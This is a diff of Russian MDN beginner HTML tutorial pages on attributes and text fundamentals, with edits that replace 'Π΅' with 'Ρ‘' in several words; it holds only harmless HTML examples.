+ <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ΅ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</li>
</ol>
<h3 id="АктивноС_ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²_Π²_элСмСнт">АктивноС ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅: Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² Π² элСмСнт</h3>
@@ -279,7 +279,7 @@ textarea.onkeyup = function(){
<ul>
<li><code>href</code>: Π’ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° прописываСтся Π²Π΅Π±-адрСс, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, ΠΏΠΎ вашСй Π·Π°Π΄ΡƒΠΌΠΊΠ΅, Π΄ΠΎΠ»ΠΆΠ½Π° ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ссылка, ΠΊΡƒΠ΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠΎ Π½Π΅ΠΉ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚Π΅. НапримСр,Β <code>href="https://www.mozilla.org/"</code>.</li>
- <li><code>title</code>: Атрибут <code>title</code> описываСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ссылкС, Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ: Π½Π° ΠΊΠ°ΠΊΡƒΡŽ страницу ΠΎΠ½Π° Π²Π΅Π΄Π΅Ρ‚. НапримСр, <code>title="The Mozilla homepage"</code>. Она появится Π² Π²ΠΈΠ΄Π΅ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ подсказки, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ навСдСтС курсор Π½Π° ссылку.</li>
+ <li><code>title</code>: Атрибут <code>title</code> описываСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ссылкС, Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ: Π½Π° ΠΊΠ°ΠΊΡƒΡŽ страницу ΠΎΠ½Π° Π²Π΅Π΄Ρ‘Ρ‚. НапримСр, <code>title="The Mozilla homepage"</code>. Она появится Π² Π²ΠΈΠ΄Π΅ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ подсказки, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ навСдётС курсор Π½Π° ссылку.</li>
<li><code>target</code>: Атрибут <code>target</code> опрСдСляСт контСкст просмотра, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для отобраТСния ссылки. НапримСр, <code>target="_blank"</code> ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ ссылку Π½Π° Π½ΠΎΠ²ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ссылку Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅, просто опуститС этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚.</li>
</ul>
@@ -412,7 +412,7 @@ textarea.onkeyup = function(){
<h3 id="Boolean_attributes" class="hidden">Boolean attributes</h3>
-<p>Иногда Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, написанныС Π±Π΅Π· значСния β€” это ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ допустимо. Β Π’Π°ΠΊΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π±ΡƒΠ»Π΅Π²Ρ‹Π΅, ΠΈ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π² основном совпадаСт с Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½Π΅ΠΌ. Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° возьмСм Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("disabled", "input")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ для формирования элСмСнтов Π²Π²ΠΎΠ΄Π°, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ (Π½Π΅Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹), Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π½ΠΈΡ….</p>
+<p>Иногда Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, написанныС Π±Π΅Π· значСния β€” это ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ допустимо. Β Π’Π°ΠΊΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π±ΡƒΠ»Π΅Π²Ρ‹Π΅, ΠΈ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π² основном совпадаСт с Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½Π΅ΠΌ. Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("disabled", "input")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ для формирования элСмСнтов Π²Π²ΠΎΠ΄Π°, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ (Π½Π΅Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹), Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π½ΠΈΡ….</p>
<pre class="notranslate">&lt;input type="text" disabled="disabled"&gt;</pre>
@@ -431,7 +431,7 @@ textarea.onkeyup = function(){
<h3 id="Omitting_quotes_around_attribute_values" class="hidden">Omitting quotes around attribute values</h3>
-<p>ΠžΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡΡΡŒ Π²ΠΎ всСмирной сСти, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π½Π΅Π·Π½Π°ΠΊΠΎΠΌΡ‹Π΅ способы написания Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ написаниС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² Π±Π΅Π· ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ.Β Π­Ρ‚ΠΎ допустимо ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… условиях, Π½ΠΎ Ρ€Π°Π·Ρ€ΡƒΡˆΠΈΡ‚ Π²Π°ΡˆΡƒ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΏΡ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ…. НапримСр, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡΡΡŒ ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΡŽ с гипСрссылкой, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ основной Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>href</code> Ρ‚Π°ΠΊ:</p>
+<p>ΠžΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡΡΡŒ Π²ΠΎ всСмирной сСти, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π½Π΅Π·Π½Π°ΠΊΠΎΠΌΡ‹Π΅ способы написания Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ написаниС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² Π±Π΅Π· ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ.Β Π­Ρ‚ΠΎ допустимо ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… условиях, Π½ΠΎ Ρ€Π°Π·Ρ€ΡƒΡˆΠΈΡ‚ Π²Π°ΡˆΡƒ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΏΡ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ…. НапримСр, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡΡΡŒ ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΡŽ с гипСрссылкой, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ основной Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>href</code> Ρ‚Π°ΠΊ:</p>
<pre class="brush: html notranslate">&lt;a href=https://www.mozilla.org/&gt;Π»ΡŽΠ±ΠΈΠΌΡ‹ΠΉ Π²Π΅Π±-сайт&lt;/a&gt;</pre>
@@ -459,7 +459,7 @@ textarea.onkeyup = function(){
<pre class="example-bad brush: html notranslate">&lt;a href="http://www.example.com'&gt;Бсылка ΠΊ ΠΌΠΎΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ.&lt;/a&gt;</pre>
-<p>Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΎΠ΄ΠΈΠ½ Ρ‚ΠΈΠΏ ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ Π² своСм HTML, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΡŒ ΠΈΡ… ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°, Π½Π΅ вызывая Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ:</p>
+<p>Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΎΠ΄ΠΈΠ½ Ρ‚ΠΈΠΏ ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ Π² своём HTML, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΡŒ ΠΈΡ… ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°, Π½Π΅ вызывая Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ:</p>
<pre class="brush: html notranslate">&lt;a href="http://www.example.com" title="Isn't this fun?"&gt;A link to my example.&lt;/a&gt;</pre>
@@ -745,7 +745,7 @@ textarea.onkeyup = function(){
<p>Π’Ρ‹ дошли Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° ΡΡ‚Π°Ρ‚ΡŒΠΈ β€” надССмся, Π²Π°ΠΌ ΠΏΠΎΠ½Ρ€Π°Π²ΠΈΠ»ΠΎΡΡŒ ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΠΈΠ΅ ΠΏΠΎ основам HTML. На этом этапС Π²Ρ‹ ΡƒΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ, ΠΊΠ°ΠΊ выглядит язык, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° Π±Π°Π·ΠΎΠ²ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΈ ΡƒΠΌΠ΅Ρ‚ΡŒ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ нСсколько элСмСнтов ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ². БСйчас идСальноС врСмя ΠΈ мСсто, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ HTML. Π’ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ…Β ΠΌΡ‹ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΡƒΠΆΠ΅ рассмотрСли, Π½ΠΎ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅, Π° Ρ‚Π°ΠΊΠΆΠ΅ прСдставим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ языка. ΠžΡΡ‚Π°Π²Π°ΠΉΡ‚Π΅ΡΡŒ с Π½Π°ΠΌΠΈ!</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: БСйчас, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ большС ΡƒΠ·Π½Π°Π²Π°Ρ‚ΡŒ ΠΎ HTML, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ основы каскадных Ρ‚Π°Π±Π»ΠΈΡ† стилСй Cascading Style Sheets, ΠΈΠ»ΠΈ <a href="/en-US/docs/Learn/CSS">CSS</a>. CSS β€” это язык, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ Π΄Π»Ρ стилизации Π²Π΅Π±-страниц (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ² ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΌΠ°ΠΊΠ΅Ρ‚Π° страницы). Как Π²Ρ‹ скоро ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, HTML ΠΈ CSS созданы Π΄Ρ€ΡƒΠ³ для Π΄Ρ€ΡƒΠ³Π°.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: БСйчас, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ большС ΡƒΠ·Π½Π°Π²Π°Ρ‚ΡŒ ΠΎ HTML, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ основы каскадных Ρ‚Π°Π±Π»ΠΈΡ† стилСй Cascading Style Sheets, ΠΈΠ»ΠΈ <a href="/en-US/docs/Learn/CSS">CSS</a>. CSS β€” это язык, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ Π΄Π»Ρ стилизации Π²Π΅Π±-страниц (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ² ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΌΠ°ΠΊΠ΅Ρ‚Π° страницы). Как Π²Ρ‹ скоро ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅, HTML ΠΈ CSS созданы Π΄Ρ€ΡƒΠ³ для Π΄Ρ€ΡƒΠ³Π°.</p>
</div>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
@@ -765,7 +765,7 @@ textarea.onkeyup = function(){
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a></li>
- <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²Π΅Π±-сайта</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° письма</a></li>
diff --git a/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html b/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html
index 1adc27c159..d27868014a 100644
--- a/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html
+++ b/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html
@@ -31,7 +31,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/HTML_text_fundamentals
</tr>
<tr>
<th scope="row">Π—Π°Π΄Π°Ρ‡Π°:</th>
- <td>Π˜Π·ΡƒΡ‡ΠΈΡ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ способы Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ тСкста ΠΏΡƒΡ‚Π΅ΠΌ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Π½Π° страницу структуры ΠΈ значСния β€” ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π°Π±Π·Π°Ρ†Ρ‹, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, списки, Π°ΠΊΡ†Π΅Π½Ρ‚Ρ‹ ΠΈ Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹..</td>
+ <td>Π˜Π·ΡƒΡ‡ΠΈΡ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ способы Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ тСкста ΠΏΡƒΡ‚Ρ‘ΠΌ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Π½Π° страницу структуры ΠΈ значСния β€” ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π°Π±Π·Π°Ρ†Ρ‹, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, списки, Π°ΠΊΡ†Π΅Π½Ρ‚Ρ‹ ΠΈ Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹..</td>
</tr>
</tbody>
</table>
@@ -42,13 +42,13 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/HTML_text_fundamentals
<p><img alt="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs." src="https://mdn.mozillademos.org/files/12371/newspaper_small.jpg" style="display: block; margin: 0 auto;"></p>
-<p>УпорядочСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ Π»Π΅Π³ΠΊΠΈΠΌ ΠΈ приятным.</p>
+<p>УпорядочСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ Π»Ρ‘Π³ΠΊΠΈΠΌ ΠΈ приятным.</p>
-<p>Π’ HTML ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π°Π±Π·Π°Ρ† Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² элСмСнт {{htmlelement("p")}}, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ:</p>
+<p>Π’ HTML ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π°Π±Π·Π°Ρ† Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² элСмСнт {{htmlelement("p")}}, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ:</p>
<pre class="brush: html notranslate">&lt;p&gt;Π― ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„, Π΄Π°, это я.&lt;/p&gt;</pre>
